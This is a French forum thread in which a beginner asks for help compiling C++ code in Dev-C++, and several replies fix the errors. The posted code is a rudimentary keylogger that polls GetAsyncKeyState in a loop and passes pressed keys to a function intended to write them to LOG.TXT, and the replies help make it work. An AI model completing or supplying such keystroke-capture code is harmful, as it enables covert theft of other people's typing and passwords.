Probleme avec dev c++

nymph2641 Messages postés 6 Statut Membre -  
arth Messages postés 84 Date d'inscription   Statut Contributeur Dernière intervention   -
Bonjour,

voila jai un nouveau probleme ;/

voici encore mes lignes

#include <iostream>
using namespace std;
#include <windows.h>
#include <Winuser.h>

int Save (int key_stroke, char *file);

int main()
{
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,*LOG.TXT*);
}
}
system ("PAUSE");
return 0;
}
/* ************************************** */
/* ************************************** */
int Save (int key_stroke, char *file)
{
cout << key_stroke << endl;
return 0;
}

Quand je click compile, une ligne rouge apparait sur la ligne :
for(i = 8; i <= 190; i++)

merci davance pour vos reponses :P

5 réponses

  1. nymph2641 Messages postés 6 Statut Membre
     
    svp quelquun
    0
  2. Char Snipeur Messages postés 10112 Date d'inscription   Statut Contributeur Dernière intervention   1 331
     
    n'importe quoi ! "char" est bien un type entier au même titre que "int" ou "short" il est généralement codé sur 1 octet. char est signé, c'est à dire qu'il prend des valeurs allant de -128 à 127, donc i<190 sera toujours vrai. à ce moment là, il vaut mieux utiliser "unsigned char" à la place qui va de 0 à 255.
    Ton erreur suivante vient du fait qu'une chaine de caractère se met entre guillemets et pas entre astérisques.
    Save (i,"LOG.TXT");
    0
    1. arth Messages postés 84 Date d'inscription   Statut Contributeur Dernière intervention   1 296
       
      Merci pour les -1, c'est un réel plaisir !
      0
  3. arth Messages postés 84 Date d'inscription   Statut Contributeur Dernière intervention   1 296
     
    Normal, i n'est déclaré nulle part.

    for(int i = 8; i <= 190; i++)
    -1
    1. nymph2641 Messages postés 6 Statut Membre
       
      merci bcp, maintenent ca fait un erreur sur le Save (i,*LOG.TXT*);
      dois-je mettre int en avant du i ?

      dsl je commence tous juste en programation :P
      0
  4. arth Messages postés 84 Date d'inscription   Statut Contributeur Dernière intervention   1 296
     
    Oui :

    int main()
    {
    char i;

    Ici virer le char i;

    qui ne sert à rien.
    -1
  5. Vous n’avez pas trouvé la réponse que vous recherchez ?

    Posez votre question
  6. Symeon94 Messages postés 153 Statut Membre 2
     
    tu peux pas mettre une valeur entiere dans une valeur de type char.
    Efface char i; et mets

    for(int i = 8 ; i < 190 ; i++)

    Si tu desires sauvegarder le character qui a la valeur ascii i=8 -> 190 dans un fichier, tu devras les caster.
    -1